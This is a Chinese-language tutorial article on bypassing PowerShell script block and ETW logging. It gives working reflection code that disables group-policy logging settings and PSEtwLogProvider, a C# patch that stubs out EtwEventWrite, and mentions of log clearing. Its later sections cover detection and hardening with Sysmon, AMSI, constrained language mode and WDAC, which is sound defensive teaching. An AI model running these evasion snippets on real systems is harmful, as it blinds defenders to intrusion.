
1. 项目概述当PowerShell遇上“隐身衣”在Windows安全运维和渗透测试的圈子里PowerShell脚本块日志Script Block Logging一直是个让人又爱又恨的存在。对于蓝队和安全分析师来说它是洞察可疑脚本活动的“天眼”事件ID 4103和4104能清晰记录下执行的每一条命令和脚本块内容。但对于红队或某些需要执行敏感自动化任务的场景这种无孔不入的日志记录就成了必须面对的“路障”。标题中的“绕过技术”指的就是在特定授权测试或深度研究场景下如何让PowerShell脚本在执行时不留下或少留下这些标准日志痕迹。这绝不是教人作恶恰恰相反深入理解攻击者可能使用的规避手法是构建有效防御体系的基石。无论是为了测试自家EDR端点检测与响应产品的检测盲区还是为了在复杂的自动化部署中避免产生海量干扰日志掌握这些技术的原理都至关重要。今天我们就来彻底拆解几种主流的PowerShell日志绕过思路从内存补丁到策略篡改看看它们是如何工作的各自的优缺点是什么以及作为防御方又该如何应对。无论你是安全研究员、系统管理员还是对Windows底层机制感兴趣的开发者这篇文章都将带你深入PowerShell与ETW事件跟踪交互的腹地。2. 核心原理PowerShell日志记录机制深度解析要有效绕过必须先透彻理解其记录机制。PowerShell的日志记录并非单一功能而是一个多层级的监控体系核心依赖于Windows的ETW框架。2.1 ETW框架与PowerShell提供程序ETW可以理解为一个高效的系统事件“广播中心”。它由三部分组成提供者产生事件的应用程序如PowerShell、控制器开启/关闭事件收集会话和消费者接收并处理事件的分析工具如事件查看器或SIEM。PowerShell作为一个ETW提供者在运行时会将内部执行细节通过特定的“频道”发送出去。关键点在于PowerShell的日志记录并非始终开启。默认情况下系统只记录一些基本的管理日志。而让安全人员津津乐道的脚本块日志4104和模块调用日志4103需要通过组策略GPO或注册表手动启用。这本身就留下了一个“可乘之机”如果能在运行时动态改变这些设置就能控制日志的输出。2.2 脚本块日志与模块日志的区别很多人容易混淆4103和4104事件它们虽然同源但记录粒度不同。事件ID 4104 - 脚本块日志这是“重头戏”。它记录的是整个脚本块Script Block的文本内容。无论这个脚本块是来自文件、命令行还是远程下载只要被PowerShell引擎解析执行其原始文本在去混淆之前就会被记录下来。这对于检测经过编码或压缩的恶意脚本非常有效因为日志记录发生在脚本被真正解释执行之前的一个阶段。事件ID 4103 - 模块调用日志这个日志更侧重于执行细节。它记录的是cmdlet命令的调用、参数绑定以及管道执行上下文。比如你执行Get-Process -Name “chrome”4104会记录Get-Process -Name “chrome”这个字符串块而4103则会详细记录调用了Get-Process这个cmdlet并且参数-Name被绑定为值”chrome”同时还会包含主机名、用户、Shell ID等上下文信息。注意模块日志的详细程度是一把双刃剑。它能提供无与伦比的取证细节但也可能产生巨大的日志量在繁忙的服务器上可能导致日志滚转过快或存储压力有时反而迫使管理员关闭该功能这无形中降低了安全可见性。2.3 策略设置的缓存机制绕过的突破口组策略设置并非每次执行命令时都去硬盘读取。为了提高性能PowerShell在启动时会将这些策略设置加载到内存中的一个静态字典里进行缓存。这个字典位于System.Management.Automation.Utils类的cachedGroupPolicySettings字段中。这个缓存机制就是大多数内存绕过技术的核心攻击面。因为缓存存在于当前进程的内存空间里并且PowerShell是基于.NET的这给了我们通过.NET反射ReflectionAPI去访问和修改这个本应是“私有”字段的机会。一旦在内存中修改了缓存值后续所有的日志记录行为都会遵从新的、被篡改过的设置而磁盘上的原始策略文件则完好无损。重启PowerShell进程后缓存重新从策略加载修改失效。3. 技术拆解一反射篡改组策略缓存这是目前最常见、相对优雅的一种绕过方式。它不破坏系统功能只针对PowerShell自身的日志行为进行“欺骗”。3.1 攻击步骤与代码逐行分析让我们结合一个典型的攻击脚本来分解其每一步# 1. 获取缓存字典的FieldInfo对象 $GroupPolicyField [ref].Assembly.GetType(System.Management.Automation.Utils).GetField(cachedGroupPolicySettings, NonPublic,Static)[ref].Assembly获取当前PowerShell会话所在的.NET程序集通常是System.Management.Automation。.GetType(‘System.Management.Automation.Utils’)从该程序集中找到Utils这个内部工具类。.GetField(‘cachedGroupPolicySettings’, ‘NonPublic,Static’)使用反射获取名为cachedGroupPolicySettings的字段。NonPublic表示它是私有字段外部通常无法访问Static表示它是静态字段属于类而非实例。这一步拿到了操作这个字段的“钥匙”。# 2. 通过FieldInfo获取字典实例 If ($GroupPolicyField) { $GroupPolicyCache $GroupPolicyField.GetValue($null)$GroupPolicyField.GetValue($null)由于是静态字段不需要类的具体实例所以传入$null来获取该字段当前的值。$GroupPolicyCache现在就是内存中那个存储了所有组策略设置的字典对象。# 3. 篡改脚本块日志设置 If ($GroupPolicyCache[ScriptBlockLogging]) { $GroupPolicyCache[ScriptBlockLogging][EnableScriptBlockLogging] 0 $GroupPolicyCache[ScriptBlockLogging][EnableScriptBlockInvocationLogging] 0 }检查字典中是否存在ScriptBlockLogging这个键对应脚本块日志的策略分支。将EnableScriptBlockLogging和EnableScriptBlockInvocationLogging的值设置为0禁用。这直接对应了组策略里那两个开关。修改后PowerShell引擎在决定是否记录4104和4103事件时查询到的就是“禁用”状态。# 4. 可选篡改注册表路径对应的缓存更彻底 $val [System.Collections.Generic.Dictionary[string,System.Object]]::new() $val.Add(EnableScriptBlockLogging, 0) $val.Add(EnableScriptBlockInvocationLogging, 0) $GroupPolicyCache[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging] $val这部分是为了应对一些更严格的检查。有些代码路径可能会直接通过模拟的注册表路径来查找设置。这里新建一个字典放入禁用的设置然后将其赋给缓存中对应的注册表路径键。这是一种“双保险”。3.2 实操验证与效果观察执行上述脚本后立即在新的PowerShell命令窗口执行一些命令例如whoami或Get-Process。然后使用以下命令查询日志# 查询最近一段时间内的4104事件数量 Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational -FilterXPath *[System[(EventID4104)]] -MaxEvents 20 | Measure-Object | Select-Object -ExpandProperty Count你会发现执行绕过脚本后产生的命令不再生成新的4104事件。而绕过脚本本身的执行由于发生在策略被禁用之前通常会产生若干条日志这正是需要“绕过”的初始痕迹。这就是所谓的“一次性消费”用几条明显的日志换取后续的“隐身”。实操心得在实际测试中这种方法的生效几乎是即时的且仅影响当前PowerShell会话。如果你开了多个PowerShell窗口需要在每个窗口中都执行一遍绕过脚本。此外一些高级的EDR产品可能会监控对System.Management.Automation.Utils等敏感类型的反射操作因此这种方法并非完全隐形。4. 技术拆解二ETW提供程序内存补丁这是一种更为底层和激进的绕过方式它直接瞄准了PowerShell用来向ETW发送事件的“喇叭”——PSEtwLogProvider甚至直接给Windows系统的ETW事件写入函数“上补丁”。4.1 禁用PSEtwLogProviderPowerShell通过一个名为PSEtwLogProvider的内部类将事件发送给ETW。该类有一个静态字段etwProvider它持有实际的事件提供程序对象。该对象内部有一个m_enabled字段控制其是否启用。# 1. 定位PSEtwLogProvider类型 $logProvider [Ref].Assembly.GetType(System.Management.Automation.Tracing.PSEtwLogProvider) # 2. 获取etwProvider字段的值即实际的EventProvider实例 $etwProvider $logProvider.GetField(etwProvider,NonPublic,Static).GetValue($null) # 3. 获取该实例的m_enabled字段并将其设置为0禁用 [System.Diagnostics.Eventing.EventProvider].GetField(m_enabled,NonPublic,Instance).SetValue($etwProvider, 0)这段代码的效果是直接关闭了PowerShell本会话的ETW事件发送功能。此后任何PowerShell事件不仅是4103/4104可能包括其他运维事件都不会再发送给ETW消费者。这比篡改策略更彻底但影响范围也更大可能破坏依赖这些事件的其他监控工具。4.2 终极手段内存修补EtwEventWrite函数这是“核弹”级别的方法它修改的是ntdll.dll中EtwEventWrite函数的机器指令。这个函数是用户态应用程序向ETW发送事件的通用入口点。修补它会影响当前进程内所有调用该函数的组件不仅仅是PowerShell。其原理是使用Windows API如VirtualProtect和WriteProcessMemory将函数开头几个字节替换为ret返回指令的操作码例如0xC3。这样任何代码调用EtwEventWrite时函数会立即返回不执行任何实际的事件写入操作。一个简化的概念性P/Invoke示例实际攻击中常被编译成C#或通过PowerShell调用Win32 APIusing System; using System.Runtime.InteropServices; public class EtwBypass { [DllImport(kernel32.dll)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(kernel32.dll)] static extern IntPtr LoadLibrary(string lpFileName); [DllImport(kernel32.dll)] static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static void PatchEtw() { IntPtr ntdll LoadLibrary(ntdll.dll); IntPtr etwFunc GetProcAddress(ntdll, EtwEventWrite); uint oldProtect; // 将内存页属性改为可读可写可执行 VirtualProtect(etwFunc, (UIntPtr)4, 0x40 /*PAGE_EXECUTE_READWRITE*/, out oldProtect); // 写入 ret (0xC3) 指令 Marshal.WriteByte(etwFunc, 0xC3); // 可选恢复内存保护属性 // VirtualProtect(etwFunc, (UIntPtr)4, oldProtect, out _); } }严重警告这种方法极其危险且容易被检测。修改可执行代码页、调用VirtualProtect将内存改为PAGE_EXECUTE_READWRITE、在ntdll等关键系统DLL上打补丁这些行为是绝大多数终端安全软件AV/EDR和攻击检测工具如Sysmon的高置信度恶意指标。它可能导致系统不稳定并且影响同一进程内所有其他组件的日志记录。仅在高度受控的测试环境中用于研究目的。5. 技术拆解三日志管道执行细节滥用这是一种相对温和、针对特定模块的绕过方法。PowerShell模块有一个LogPipelineExecutionDetails属性当设置为$true时该模块内cmdlet的执行详情会被记录到Windows PowerShell日志非Operational日志是另一个传统日志通道。将其设为$false可以关闭该模块的这部分日志。# 对已加载的模块禁用管道执行详情日志 $module Get-Module Microsoft.PowerShell.Utility if ($module) { $module.LogPipelineExecutionDetails $false } # 对已加载的管理单元PSSnapin旧版同样操作 $snap Get-PSSnapin Microsoft.PowerShell.Core -ErrorAction SilentlyContinue if ($snap) { $snap.LogPipelineExecutionDetails $false }这种方法局限性很大它不影响核心的脚本块日志4104和模块调用日志4103。它只影响“管道执行详情”这种特定类型的日志其安全价值相对较低。它需要针对每个可能记录日志的模块单独设置。因此它通常不作为主要的绕过手段而是可能与其他技术结合使用作为“锦上添花”的补充尽可能减少各种类型的日志噪声。6. 组合拳实践与效果验证在实际场景中攻击者或测试人员往往会组合使用多种技术以最大化绕过效果并应对不同的检测层面。一个典型的组合顺序可能是先发制人如果可能在启动PowerShell时即通过命令行参数或父进程注入等方式尝试以某种方式干扰日志记录。但这通常权限要求较高。内存篡改在PowerShell会话中首先执行“反射篡改组策略缓存”的脚本。这是效果最直接、针对性强且相对隐蔽的第一步。补充禁用接着执行“禁用PSEtwLogProvider”的脚本。这确保了即使有某些事件绕过了策略检查也在发送层被拦截。清理痕迹可选但高风险执行命令删除已产生的日志。例如使用wevtutil清除特定日志通道的内容。注意清除Windows安全日志本身会产生事件ID 1102这是一个非常明显的攻击告警信号在对抗性测试中需谨慎权衡。效果验证脚本示例# 1. 执行绕过脚本假设已定义函数 Disable-PSLogging Disable-PSLogging # 2. 执行测试命令 $TestCommand Invoke-WebRequest -Uri http://example.com -UseBasicParsing Invoke-Expression $TestCommand # 或者执行一个下载并执行payload的典型攻击脚本块 $ScriptBlock [ScriptBlock]::Create($TestCommand) $ScriptBlock # 3. 检查日志 $EventsAfter Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational -FilterXPath *[System[(EventID4104)]] -MaxEvents 50 -ErrorAction SilentlyContinue $RelevantEvents $EventsAfter | Where-Object { $_.TimeCreated -gt (Get-Date).AddMinutes(-2) } # 查看最近2分钟的事件 if ($RelevantEvents) { Write-Host [!] 检测到新的4104事件绕过可能不成功或命令执行早于绕过生效。 -ForegroundColor Yellow $RelevantEvents | Format-Table TimeCreated, Id, Message -AutoSize | Out-String -Width 4096 | Write-Host } else { Write-Host [] 未检测到新的4104事件脚本块日志可能已被成功绕过。 -ForegroundColor Green }7. 防御视角如何检测与防护理解了攻击手法蓝队和安全架构师就可以更有针对性地构建防御。7.1 增强型日志记录与监控启用命令行审计除了PowerShell日志务必启用Process Creation审计策略通过GPO或高级安全审计策略并配置Sysmon如使用SwiftOnSecurity的配置记录进程创建事件EventID 1其中包含命令行参数。这样即使PowerShell日志被绕过也能看到谁、在何时、启动了带有可疑参数的PowerShell进程。部署SysmonSysmon可以记录更细粒度的行为如EventID 7镜像加载可监控ntdll.dll的加载和内存属性更改、EventID 8远程线程创建用于检测进程注入、EventID 10进程访问可检测对PowerShell进程的非法内存操作。监控对powershell.exe进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问尝试。AMSI集成确保反恶意软件扫描接口AMSI已启用并有效工作。AMSI可以在脚本内容被传递给PowerShell引擎执行前进行扫描能够检测到包含反射篡改、内存补丁等恶意代码的脚本块文本即使这些脚本最终可能不落日志。SIEM集中化与只读存储将日志实时转发到中央SIEM如Splunk、Elastic Stack或日志服务器并配置为只读。这可以防止攻击者在本地清除或篡改日志文件。同时在SIEM中建立关联规则例如“短时间内出现PowerShell 4104事件随后4104事件消失但进程创建日志显示PowerShell仍在活动”这可能是绕过行为的一个指标。7.2 实施严格的PowerShell执行限制约束语言模式通过GPO或$ExecutionContext.SessionState.LanguageMode设置PowerShell为约束语言模式。在此模式下许多反射操作、COM对象调用和Win32 API调用会受到限制可以有效阻断上述大部分绕过技术。# 检查当前语言模式 $ExecutionContext.SessionState.LanguageMode # 在策略中可以将其设置为 ConstrainedLanguage仅允许签名脚本设置PowerShell执行策略为AllSigned或RemoteSigned并配合内部代码签名证书只允许运行受信任的签名脚本。这能阻止临时编写的恶意内联代码。应用程序控制使用Windows Defender应用程序控制WDAC或AppLocker制定严格的白名单策略限制PowerShell的运行方式例如只允许从特定路径、带有特定签名的powershell.exe运行并可以阻止非白名单的脚本执行。Just Enough Administration对于服务器管理使用JEAJust Enough Administration创建受限的PowerShell端点用户只能运行预定义的命令集无法访问完整的PowerShell语言或执行任意代码。7.3 行为分析与异常检测监控反射调用在SIEM或EDR中创建规则寻找PowerShell进程中异常的反射操作模式。例如频繁调用[Ref].Assembly.GetType并尝试访问包含”cachedGroupPolicySettings”、”PSEtwLogProvider”、”EventProvider”等字符串的类型和字段。监控内存操作检测对VirtualProtect和WriteProcessMemory的调用特别是目标地址在ntdll.dll或clr.dll等系统模块内存范围内的操作。VirtualProtect将内存保护属性改为PAGE_EXECUTE_READWRITE是一个强烈的危险信号。建立进程行为基线分析正常管理活动中PowerShell的行为如常见的模块加载、网络连接模式。任何偏离基线的行为例如PowerShell进程在禁用日志后尝试进行网络下载或横向移动都应触发告警。8. 常见问题与排查技巧实录在实际研究和测试中你可能会遇到以下问题Q1执行了绕过脚本但事件查看器里还是看到了4104事件A1首先确认时间线。绕过脚本本身的执行大概率会产生日志。检查你看到的事件时间戳是否是在执行绕过脚本之后的新命令产生的。其次确认你修改的是正确的会话。每个PowerShell窗口是一个独立进程和会话在一个窗口执行的绕过脚本只对该窗口生效。最后某些系统或EDR可能有额外的、不可绕过的日志记录机制。Q2约束语言模式下绕过技术还能用吗A2大多数基于反射的绕过技术在约束语言模式下会失效。因为约束语言模式明确限制了System.Reflection命名空间下许多功能的使用。这是防御此类攻击非常有效的一环。测试时可以先检查$ExecutionContext.SessionState.LanguageMode。Q3如何检测我的环境是否已经遭受了此类绕过攻击A3除了查看日志有无中断可以尝试主动检测检查内存缓存可以写一个诊断脚本同样使用反射去读取cachedGroupPolicySettings的值看是否被篡改。但注意这本身也是反射操作。监控进程内存使用专业工具或EDR能力监控对powershell.exe进程内存的写操作特别是针对特定模块地址范围的写操作。分析脚本内容通过AMSI或静态分析扫描脚本文件中是否包含本文提到的特征字符串如”cachedGroupPolicySettings”、”PSEtwLogProvider”、”EtwEventWrite”、”VirtualProtect”等。Q4这些技术在所有Windows和PowerShell版本上都有效吗A4并非如此。这些技术高度依赖于具体的.NET Framework版本、PowerShell版本和Windows内部实现。例如cachedGroupPolicySettings字段的位置和结构可能在不同版本的System.Management.Automation.dll中发生变化。EtwEventWrite的补丁位置偏移量也因系统版本和补丁级别而异。在实际使用前必须在目标环境中进行充分测试。Q5作为管理员我该如何安全地测试这些绕过技术A5务必在隔离的测试环境如虚拟机中进行。确保该环境与生产网络完全隔离。测试前对虚拟机做快照测试后可快速还原。明确测试目的是为了验证防御措施的有效性而不是练习攻击。记录所有操作步骤和观察结果用于完善监控和防御规则。